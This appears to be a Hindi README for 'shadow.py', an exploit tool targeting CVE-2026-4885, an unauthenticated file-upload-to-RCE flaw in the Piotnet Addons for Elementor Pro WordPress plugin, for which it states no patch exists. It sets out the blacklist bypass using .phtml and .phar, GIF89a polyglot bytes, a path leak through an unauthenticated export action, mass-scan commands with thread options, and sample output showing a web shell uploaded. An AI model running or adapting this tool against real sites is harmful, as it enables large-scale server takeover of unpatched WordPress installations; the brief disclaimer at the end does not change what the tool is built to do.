CVE-2026-4885

Piotnet Addons for Elementor Pro <= 7.1.70 - अप्रमाणित मनमानी फ़ाइल अपलोड → RCE

विवरण :

वर्डप्रेस के लिए Piotnet Addons for Elementor Pro प्लगइन, pafe_ajax_form_builder फ़ंक्शन में फ़ाइल प्रकार सत्यापन की कमी के कारण, 7.1.70 तक के सभी संस्करणों में मनमानी फ़ाइल अपलोड के लिए संवेदनशील है। प्लगइन एक अपूर्ण एक्सटेंशन ब्लैकलिस्ट का उपयोग करता है जो केवल php, phpt, php5, php7, और exe एक्सटेंशन को ब्लॉक करता है, जबकि .phar या .phtml जैसे खतरनाक एक्सटेंशन को स्वतंत्र रूप से अपलोड करने की अनुमति देता है।

यह अप्रमाणित हमलावरों के लिए प्रभावित साइट के सर्वर पर मनमानी PHP फ़ाइलें अपलोड करना संभव बनाता है, जिससे Remote Code Execution (RCE) होता है।

नोट: एक्सप्लॉइट केवल तभी ट्रिगर किया जा सकता है जब Piotnet फ़ॉर्म में एक फ़ाइल फ़ील्ड जोड़ा गया हो।

जानकारी : CVE-2026-4885

~ CVSS स्कोर : 9.8 (गंभीर)

~ CVSS वेक्टर : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

~ प्रभावित संस्करण : <= 7.1.70

~ पैच : कोई पैच उपलब्ध नहीं

~ सार्वजनिक रूप से प्रकाशित : मई 18, 2026

• शोधकर्ता : Wannes Verwimp
• PoC द्वारा : Shadow & Friska 🩷

मूल कारण :

pafe_ajax_form_builder AJAX हैंडलर बिना उचित सत्यापन के फ़ाइल अपलोड स्वीकार करता है:

// Incomplete blacklist — only blocks:
$blocked = ['php', 'phpt', 'php5', 'php7', 'exe'];

// .phtml, .phar, .shtml etc. pass through freely ✓

अप्रमाणित pafe_export_database AJAX क्रिया के माध्यम से अपलोड पथ लीक करने योग्य → CSV निर्यात में पूर्ण फ़ाइल URL शामिल होते हैं।

उपयोग :

इंटरैक्टिव मेनू (डिफ़ॉल्ट) :

python3 shadow.py

  ╾────  MENU  ────╼

  1  ▶  one target
  2  ▶  mass scan
  3  ▶  exit

  [1/2/3] :

एकल लक्ष्य (CLI) :

python3 shadow.py -u https://target.com
python3 shadow.py -u https://target.com -s shell.phtml

सामूहिक लक्ष्य (CLI) :

python3 shadow.py -f targets.txt -t 20
python3 shadow.py -f targets.txt -t 20 -s shell.phtml

विकल्प :

-u, --url       लक्ष्य URL
-f, --file      लक्ष्य URL वाली फ़ाइल (प्रति पंक्ति एक)
-s, --shell     कस्टम PHP शेल फ़ाइल (GIF89a स्वचालित रूप से जोड़ा गया)
-t, --threads   सामूहिक मोड के लिए समवर्ती थ्रेड (डिफ़ॉल्ट: 5)
-h, --help      सहायता दिखाएँ

विशेषताएँ :

• 🩷 पूरी तरह से इंटरैक्टिव मेनू (एक लक्ष्य / सामूहिक स्कैन)
• ⚡ एसिंक समानांतर पुनर्ज्ञापन — पृष्ठों को समवर्ती रूप से क्रॉल करता है
• 🔍 पृष्ठ HTML से form_id, post_id, field_name की स्वचालित खोज
• 🪄 GIF89a पॉलीग्लॉट मैजिक बाइट्स — छवि प्रकार जांच को बायपास करें
• 📡 pafe_export_database के माध्यम से URL लीक (कोई प्रमाणीकरण नहीं, कोई nonce नहीं)
• 🎯 शेल अपलोड सत्यापन (HTTP 200 + PHP निष्पादन जांच)
• 💾 परिणामों को shell.txt में स्वचालित रूप से सहेजें
• 🌐 कॉन्फ़िगरेबल थ्रेड + एसिंक सेमाफोर के साथ सामूहिक मोड
• ⚠️ अपलोड प्रॉम्प्ट से पहले अवरुद्ध एक्सटेंशन चेतावनी दिखाई गई

शेल :

अपनी शेल फ़ाइल स्थानीय रूप से तैयार करें (जैसे shadow.phtml) — यदि गायब हैं तो GIF89a मैजिक बाइट्स स्वचालित रूप से जोड़े जाते हैं।

अवरुद्ध एक्सटेंशन: .php .phpt .php5 .php7 .exe

इसके बजाय उपयोग करें: .phtml .phar .shtml .php8 आदि।

आउटपुट :

╔══════════════════════════════════════════════════════════╗
║                                                          ║
║  ♡  CVE-2026-4885                                        ║
║  Piotnet Addons for Elementor Pro  <=  7.1.70            ║
║  Unauthenticated File Upload  →  RCE                     ║
║                                                          ║
║  by Shadow & Friska  ♡                                   ║
║                                                          ║
╚══════════════════════════════════════════════════════════╝

  ╾────  VERSION  ────╼
  ♡  v7.1.67 <= 7.1.70  —  VULNERABLE

  ╾────  RECON  ────╼
  ◆  scanning 46 pages (parallel)...
  ♡  [PIOTNET]  https://target.com/contact
               post_id=9  |  form_id=72071c0
  ◆  using   : https://target.com/contact

  ╾────  EXPLOIT  ────╼
  ◆  post_id=9  |  form_id=72071c0  |  field=file
  ▶  trying .phtml ...
  ♡  uploaded  (.phtml)
  ♡  URL leak  : https://target.com/wp-content/uploads/piotnet-addons-for-elementor/shadow-xxx.phtml

  ╔══════════════════════════════════════════════════════════╗
  ║  ★  SHELL UPLOADED  (.phtml)                            ║
  ║                                                          ║
  ║  ◆  shell  : https://target.com/wp-content/...          ║
  ╚══════════════════════════════════════════════════════════╝

आवश्यकताएँ :

pip install httpx

अस्वीकरण :

यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है।

उन प्रणालियों के विरुद्ध अनधिकृत उपयोग जिनके आप मालिक नहीं हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति नहीं है, अवैध है। लेखक इस उपकरण के कारण होने वाले किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं।